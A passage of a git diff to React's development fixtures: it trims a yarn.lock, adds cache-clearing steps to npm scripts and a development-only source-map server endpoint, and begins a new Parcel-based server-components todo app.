-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-0.0.8.tgz#857fcabfc3397d2625b8228262e86aa7a011b05d"
-  integrity sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=
-
-mkdirp@^0.5.1:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.1.tgz#30057438eac6cf7f8c4767f38648d6697d75c903"
-  integrity sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=
-  dependencies:
-    minimist "0.0.8"
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-mute-stream@0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.7.tgz#3075ce93bc21b8fab43e1bc4da7e8115ed1e7bab"
-  integrity sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=
-
-natural-compare@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
-
-object-assign@^4.0.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-once@^1.3.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-  dependencies:
-    wrappy "1"
-
-onetime@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/onetime/-/onetime-2.0.1.tgz#067428230fd67443b2794b22bba528b6867962d4"
-  integrity sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=
-  dependencies:
-    mimic-fn "^1.0.0"
-
-optionator@^0.8.2:
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.2.tgz#364c5e409d3f4d6301d6c0b4c05bba50180aeb64"
-  integrity sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=
-  dependencies:
-    deep-is "~0.1.3"
-    fast-levenshtein "~2.0.4"
-    levn "~0.3.0"
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-    wordwrap "~1.0.0"
-
-os-tmpdir@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
-
-path-is-absolute@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
-  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
-
-path-is-inside@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
-
-pluralize@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/pluralize/-/pluralize-4.0.0.tgz#59b708c1c0190a2f692f1c7618c446b052fd1762"
-  integrity sha1-WbcIwcAZCi9pLxx2GMRGsFL9F2I=
-
-prelude-ls@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
-
-process-nextick-args@~2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.0.tgz#a37d732f4271b4ab1ad070d35508e8290788ffaa"
-  integrity sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==
-
-progress@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
-  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
-
-punycode@^2.1.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
-
-readable-stream@^2.2.2:
-  version "2.3.6"
-  resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.6.tgz#b11c27d88b8ff1fbe070643cf94b0c79ae1b0aaf"
-  integrity sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==
-  dependencies:
-    core-util-is "~1.0.0"
-    inherits "~2.0.3"
-    isarray "~1.0.0"
-    process-nextick-args "~2.0.0"
-    safe-buffer "~5.1.1"
-    string_decoder "~1.1.1"
-    util-deprecate "~1.0.1"
-
-require-uncached@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/require-uncached/-/require-uncached-1.0.3.tgz#4e0d56d6c9662fd31e43011c4b95aa49955421d3"
-  integrity sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=
-  dependencies:
-    caller-path "^0.1.0"
-    resolve-from "^1.0.0"
-
-resolve-from@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-1.0.1.tgz#26cbfe935d1aeeeabb29bc3fe5aeb01e93d44226"
-  integrity sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=
-
-restore-cursor@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz#9f7ee287f82fd326d4fd162923d62129eee0dfaf"
-  integrity sha1-n37ih/gv0ybU/RYpI9YhKe7g368=
-  dependencies:
-    onetime "^2.0.0"
-    signal-exit "^3.0.2"
-
-rimraf@~2.6.2:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
-  integrity sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==
-  dependencies:
-    glob "^7.1.3"
-
-run-async@^2.2.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/run-async/-/run-async-2.3.0.tgz#0371ab4ae0bdd720d4166d7dfda64ff7a445a6c0"
-  integrity sha1-A3GrSuC91yDUFm19/aZP96RFpsA=
-  dependencies:
-    is-promise "^2.1.0"
-
-rx-lite-aggregates@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz#753b87a89a11c95467c4ac1626c4efc4e05c67be"
-  integrity sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=
-  dependencies:
-    rx-lite "*"
-
-rx-lite@*, rx-lite@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/rx-lite/-/rx-lite-4.0.8.tgz#0b1e11af8bc44836f04a6407e92da42467b79444"
-  integrity sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=
-
-safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-"safer-buffer@>= 2.1.2 < 3":
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-signal-exit@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.2.tgz#b5fdc08f1287ea1178628e415e25132b73646c6d"
-  integrity sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=
-
-slice-ansi@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-1.0.0.tgz#044f1a49d8842ff307aad6b505ed178bd950134d"
-  integrity sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-
-sprintf-js@~1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
-
-string-width@^2.1.0, string-width@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/string-width/-/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
-  integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^4.0.0"
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
-  dependencies:
-    safe-buffer "~5.1.0"
-
-strip-ansi@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-strip-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-  dependencies:
-    ansi-regex "^3.0.0"
-
-strip-json-comments@~2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a"
-  integrity sha1-PFMZQukIwml8DsNEhYwobHygpgo=
-
-supports-color@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-  integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
-
-supports-color@^5.3.0:
-  version "5.5.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
-  dependencies:
-    has-flag "^3.0.0"
-
-table@^4.0.1:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/table/-/table-4.0.3.tgz#00b5e2b602f1794b9acaf9ca908a76386a7813bc"
-  integrity sha512-S7rnFITmBH1EnyKcvxBh1LjYeQMmnZtCXSEbHcH6S0NoKit24ZuFO/T1vDcLdYsLQkM188PVVhQmzKIuThNkKg==
-  dependencies:
-    ajv "^6.0.1"
-    ajv-keywords "^3.0.0"
-    chalk "^2.1.0"
-    lodash "^4.17.4"
-    slice-ansi "1.0.0"
-    string-width "^2.1.1"
-
-text-table@~0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
-  integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
-
-through@^2.3.6:
-  version "2.3.8"
-  resolved "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
-  integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
-
-tmp@^0.0.33:
-  version "0.0.33"
-  resolved "https://registry.yarnpkg.com/tmp/-/tmp-0.0.33.tgz#6d34335889768d21b2bcda0aa277ced3b1bfadf9"
-  integrity sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==
-  dependencies:
-    os-tmpdir "~1.0.2"
-
-type-check@~0.3.2:
-  version "0.3.2"
-  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72"
-  integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=
-  dependencies:
-    prelude-ls "~1.1.2"
-
-typedarray@^0.0.6:
-  version "0.0.6"
-  resolved "https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz#867ac74e3864187b1d3d47d996a78ec5c8830777"
-  integrity sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=
-
-uri-js@^4.2.2:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
-  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
-  dependencies:
-    punycode "^2.1.0"
-
-util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-wordwrap@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb"
-  integrity sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-write@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/write/-/write-0.2.1.tgz#5fc03828e264cea3fe91455476f7a3c566cb0757"
-  integrity sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=
-  dependencies:
-    mkdirp "^0.5.1"
-
-xtend@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.1.tgz#a5c6d532be656e23db820efb943a1f04998d63af"
-  integrity sha1-pcbVMr5lbiPbgg77lDofBJmNY68=
diff --git a/fixtures/fizz/package.json b/fixtures/fizz/package.json
index 096a392f4b52..7156aa9e8fa0 100644
--- a/fixtures/fizz/package.json
+++ b/fixtures/fizz/package.json
@@ -28,8 +28,8 @@
     "prettier": "1.19.1"
   },
   "scripts": {
-    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/",
-    "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/",
+    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
     "dev": "concurrently \"npm run dev:server\" \"npm run dev:bundler\"",
     "start": "concurrently \"npm run start:server\" \"npm run start:bundler\"",
     "dev:server": "cross-env NODE_ENV=development nodemon -- --inspect server/server.js",
diff --git a/fixtures/flight-esm/.nvmrc b/fixtures/flight-esm/.nvmrc
index 3f430af82b3d..5f53e875de68 100644
--- a/fixtures/flight-esm/.nvmrc
+++ b/fixtures/flight-esm/.nvmrc
@@ -1 +1 @@
-v18
+v20.19.0
diff --git a/fixtures/flight-esm/package.json b/fixtures/flight-esm/package.json
index 8188df5abbd5..de711927588c 100644
--- a/fixtures/flight-esm/package.json
+++ b/fixtures/flight-esm/package.json
@@ -13,14 +13,15 @@
     "prompts": "^2.4.2",
     "react": "experimental",
     "react-dom": "experimental",
-    "undici": "^5.20.0"
+    "undici": "^5.20.0",
+    "webpack-sources": "^3.2.0"
   },
   "scripts": {
-    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/",
-    "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/",
+    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
+    "prestart": "cp -r ../../build/oss-experimental/* ./node_modules/ && rm -rf node_modules/.cache;",
     "dev": "concurrently \"npm run dev:region\" \"npm run dev:global\"",
     "dev:global": "NODE_ENV=development BUILD_PATH=dist node server/global",
-    "dev:region": "NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --experimental-loader ./loader/region.js --conditions=react-server server/region",
+    "dev:region": "NODE_ENV=development BUILD_PATH=dist nodemon --watch src --watch dist -- --enable-source-maps --experimental-loader ./loader/region.js --conditions=react-server server/region",
     "start": "concurrently \"npm run start:region\" \"npm run start:global\"",
     "start:global": "NODE_ENV=production node server/global",
     "start:region": "NODE_ENV=production node --experimental-loader ./loader/region.js --conditions=react-server server/region"
diff --git a/fixtures/flight-esm/server/global.js b/fixtures/flight-esm/server/global.js
index 1088d42967a2..c0b148fc063c 100644
--- a/fixtures/flight-esm/server/global.js
+++ b/fixtures/flight-esm/server/global.js
@@ -131,6 +131,45 @@ app.use(
   express.static('node_modules/react-server-dom-esm/esm')
 );
 
+if (process.env.NODE_ENV === 'development') {
+  app.get('/source-maps', async function (req, res, next) {
+    // Proxy the request to the regional server.
+    const proxiedHeaders = {
+      'X-Forwarded-Host': req.hostname,
+      'X-Forwarded-For': req.ips,
+      'X-Forwarded-Port': 3000,
+      'X-Forwarded-Proto': req.protocol,
+    };
+
+    const promiseForData = request(
+      {
+        host: '127.0.0.1',
+        port: 3001,
+        method: req.method,
+        path: req.originalUrl,
+        headers: proxiedHeaders,
+      },
+      req
+    );
+
+    try {
+      const rscResponse = await promiseForData;
+      res.set('Content-type', 'application/json');
+      rscResponse.on('data', data => {
+        res.write(data);
+        res.flush();
+      });
+      rscResponse.on('end', data => {
+        res.end();
+      });
+    } catch (e) {
+      console.error(`Failed to proxy request: ${e.stack}`);
+      res.statusCode = 500;
+      res.end();
+    }
+  });
+}
+
 app.listen(3000, () => {
   console.log('Global Fizz/Webpack Server listening on port 3000...');
 });
diff --git a/fixtures/flight-esm/server/region.js b/fixtures/flight-esm/server/region.js
index c7e8d9aad33c..fe992b6daf53 100644
--- a/fixtures/flight-esm/server/region.js
+++ b/fixtures/flight-esm/server/region.js
@@ -17,6 +17,8 @@ const app = express();
 const compress = require('compression');
 const {Readable} = require('node:stream');
 
+const nodeModule = require('node:module');
+
 app.use(compress());
 
 // Application
@@ -116,6 +118,88 @@ app.get('/todos', function (req, res) {
   ]);
 });
 
+if (process.env.NODE_ENV === 'development') {
+  const rootDir = path.resolve(__dirname, '../');
+
+  app.get('/source-maps', async function (req, res, next) {
+    try {
+      res.set('Content-type', 'application/json');
+      let requestedFilePath = req.query.name;
+
+      let isCompiledOutput = false;
+      if (requestedFilePath.startsWith('file://')) {
+        // We assume that if it was prefixed with file:// it's referring to the compiled output
+        // and if it's a direct file path we assume it's source mapped back to original format.
+        isCompiledOutput = true;
+        requestedFilePath = url.fileURLToPath(requestedFilePath);
+      }
+
+      const relativePath = path.relative(rootDir, requestedFilePath);
+      if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
+        // This is outside the root directory of the app. Forbid it to be served.
+        res.status = 403;
+        res.write('{}');
+        res.end();
+        return;
+      }
+
+      const sourceMap = nodeModule.findSourceMap(requestedFilePath);
+      let map;
+      if (requestedFilePath.startsWith('node:')) {
+        // This is a node internal. We don't include any source code for this but we still
+        // generate a source map for it so that we can add it to an ignoreList automatically.
+        map = {
+          version: 3,
+          // We use the node:// protocol convention to teach Chrome DevTools that this is
+          // on a different protocol and not part of the current page.
+          sources: ['node:///' + requestedFilePath.slice(5)],
+          sourcesContent: ['// Node Internals'],
+          mappings: 'AAAA',
+          ignoreList: [0],
+          sourceRoot: '',
+        };
+      } else if (!sourceMap || !isCompiledOutput) {
+        // If a file doesn't have a source map, such as this file, then we generate a blank
+        // source map that just contains the original content and segments pointing to the
+        // original lines. If a line number points to uncompiled output, like if source mapping
+        // was already applied we also use this path.
+        const sourceContent = await readFile(requestedFilePath, 'utf8');
+        const lines = sourceContent.split('\n').length;
+        // We ensure to absolute
+        const sourceURL = url.pathToFileURL(requestedFilePath);
+        map = {
+          version: 3,
+          sources: [sourceURL],
+          sourcesContent: [sourceContent],
+          // Note: This approach to mapping each line only lets you jump to each line
+          // not jump to a column within a line. To do that, you need a proper source map
+          // generated for each parsed segment or add a segment for each column.
+          mappings: 'AAAA' + ';AACA'.repeat(lines - 1),
+          sourceRoot: '',
+          // Add any node_modules to the ignore list automatically.
+          ignoreList: requestedFilePath.includes('node_modules')
+            ? [0]
+            : undefined,
+        };
+      } else {
+        // We always set prepareStackTrace before reading the stack so that we get the stack
+        // without source maps applied. Therefore we have to use the original source map.
+        // If something read .stack before we did, we might observe the line/column after
+        // source mapping back to the original file. We use the isCompiledOutput check above
+        // in that case.
+        map = sourceMap.payload;
+      }
+      res.write(JSON.stringify(map));
+      res.end();
+    } catch (x) {
+      res.status = 500;
+      res.write('{}');
+      res.end();
+      console.error(x);
+    }
+  });
+}
+
 app.listen(3001, () => {
   console.log('Regional Flight Server listening on port 3001...');
 });
diff --git a/fixtures/flight-esm/src/index.js b/fixtures/flight-esm/src/index.js
index 30d060af6342..6cef6c6c3c54 100644
--- a/fixtures/flight-esm/src/index.js
+++ b/fixtures/flight-esm/src/index.js
@@ -4,6 +4,15 @@ import ReactDOM from 'react-dom/client';
 import {createFromFetch, encodeReply} from 'react-server-dom-esm/client';
 
 const moduleBaseURL = '/src/';
+
+function findSourceMapURL(fileName) {
+  return (
+    document.location.origin +
+    '/source-maps?name=' +
+    encodeURIComponent(fileName)
+  );
+}
+
 let updateRoot;
 async function callServer(id, args) {
   const response = fetch('/', {
@@ -17,6 +26,7 @@ async function callServer(id, args) {
   const {returnValue, root} = await createFromFetch(response, {
     callServer,
     moduleBaseURL,
+    findSourceMapURL,
   });
   // Refresh the tree with the new RSC payload.
   startTransition(() => {
@@ -34,6 +44,7 @@ let data = createFromFetch(
   {
     callServer,
     moduleBaseURL,
+    findSourceMapURL,
   }
 );
 
diff --git a/fixtures/flight-esm/yarn.lock b/fixtures/flight-esm/yarn.lock
index 8d336e519453..2eae2a7a934a 100644
--- a/fixtures/flight-esm/yarn.lock
+++ b/fixtures/flight-esm/yarn.lock
@@ -755,6 +755,11 @@ vary@~1.1.2:
   resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
   integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
 
+webpack-sources@^3.2.0:
+  version "3.2.3"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde"
+  integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==
+
 wrap-ansi@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
diff --git a/fixtures/flight-parcel/.gitignore b/fixtures/flight-parcel/.gitignore
new file mode 100644
index 000000000000..c6b41301c02a
--- /dev/null
+++ b/fixtures/flight-parcel/.gitignore
@@ -0,0 +1,5 @@
+.parcel-cache
+.DS_Store
+node_modules
+dist
+todos.json
diff --git a/fixtures/flight-parcel/package.json b/fixtures/flight-parcel/package.json
new file mode 100644
index 000000000000..3d630bf5e132
--- /dev/null
+++ b/fixtures/flight-parcel/package.json
@@ -0,0 +1,36 @@
+{
+  "name": "flight-parcel",
+  "private": true,
+  "source": "src/server.tsx",
+  "server": "dist/server.js",
+  "targets": {
+    "server": {
+      "context": "react-server",
+      "includeNodeModules": {
+        "express": false
+      }
+    }
+  },
+  "scripts": {
+    "predev": "cp -r ../../build/oss-experimental/* ./node_modules/",
+    "prebuild": "cp -r ../../build/oss-experimental/* ./node_modules/",
+    "dev": "parcel",
+    "build": "parcel build",
+    "start": "node dist/server.js"
+  },
+  "dependencies": {
+    "@types/parcel-env": "^0.0.6",
+    "@types/express": "*",
+    "@types/node": "^22.10.1",
+    "@types/react": "^19",
+    "@types/react-dom": "^19",
+    "concurrently": "^7.3.0",
+    "express": "^4.18.2",
+    "parcel": "canary",
+    "process": "^0.11.10",
+    "react": "experimental",
+    "react-dom": "experimental",
+    "react-server-dom-parcel": "experimental",
+    "rsc-html-stream": "^0.0.4"
+  }
+}
diff --git a/fixtures/flight-parcel/src/Dialog.tsx b/fixtures/flight-parcel/src/Dialog.tsx
new file mode 100644
index 000000000000..d2fb20c83513
--- /dev/null
+++ b/fixtures/flight-parcel/src/Dialog.tsx
@@ -0,0 +1,21 @@
+'use client';
+
+import {ReactNode, useRef} from 'react';
+
+export function Dialog({
+  trigger,
+  children,
+}: {
+  trigger: ReactNode;
+  children: ReactNode;
+}) {
+  let ref = useRef<HTMLDialogElement | null>(null);
+  return (
+    <>
+      <button onClick={() => ref.current?.showModal()}>{trigger}</button>
+      <dialog ref={ref} onSubmit={() => ref.current?.close()}>
+        {children}
+      </dialog>
+    </>
+  );
+}
diff --git a/fixtures/flight-parcel/src/TodoCreate.tsx b/fixtures/flight-parcel/src/TodoCreate.tsx
new file mode 100644
index 000000000000..bd0456fd0c27
--- /dev/null
+++ b/fixtures/flight-parcel/src/TodoCreate.tsx
@@ -0,0 +1,18 @@
+import {createTodo} from './actions';
+
+export function TodoCreate() {
+  return (
+    <form action={createTodo}>
+      <label>
+        Title: <input name="title" />
+      </label>
+      <label>
+        Description: <textarea name="description" />
+      </label>
+      <label>
+        Due date: <input type="date" name="dueDate" />
+      </label>
+      <button>Add todo</button>
+    </form>
+  );
+}
diff --git a/fixtures/flight-parcel/src/TodoDetail.tsx b/fixtures/flight-parcel/src/TodoDetail.tsx
new file mode 100644
index 000000000000..3507ad79c5bf
--- /dev/null
+++ b/fixtures/flight-parcel/src/TodoDetail.tsx
@@ -0,0 +1,25 @@
+import {getTodo, updateTodo} from './actions';
+
+export async function TodoDetail({id}: {id: number}) {
+  let todo = await getTodo(id);
+  if (!todo) {
+    return <p>Todo not found</p>;
+  }
+
+  return (
+    <form className="todo" action={updateTodo.bind(null, todo.id)}>
+      <label>
+        Title: <input name="title" defaultValue={todo.title} />
+      </label>
+      <label>
+        Description:{' '}
+        <textarea name="description" defaultValue={todo.description} />
+      </label>
+      <label>
+        Due date:{' '}
+        <input type="date" name="dueDate" defaultValue={todo.dueDate} />
+      </label>
+      <button type="submit">Update todo</button>
+    </form>
+  );
+}
diff --git a/fixtures/flight-parcel/src/TodoItem.tsx b/fixtures/flight-parcel/src/TodoItem.tsx
new file mode 100644
index 000000000000..e91b1ada18fd
--- /dev/null
+++ b/fixtures/flight-parcel/src/TodoItem.tsx
@@ -0,0 +1,37 @@
+'use client';
+
+import {startTransition, useOptimistic} from 'react';
+import {deleteTodo, setTodoComplete, type Todo as ITodo} from './actions';
+
+export function TodoItem({
+  todo,
+  isSelected,
+}: {
+  todo: ITodo;
+  isSelected: boolean;
+}) {
+  let [isOptimisticComplete, setOptimisticComplete] = useOptimistic(
+    todo.isComplete,
+  );
+
+  return (
+    <li data-selected={isSelected || undefined}>
+      <input
+        type="checkbox"
+        checked={isOptimisticComplete}
+        onChange={e => {
+          startTransition(async () => {
+            setOptimisticComplete(e.target.checked);
+            await setTodoComplete(todo.id, e.target.checked);
+          });
+        }}
+      />
+      <a
+        href={`/todos/${todo.id}`}
+        aria-current={isSelected ? 'page' : undefined}>
+        {todo.title}
+      </a>
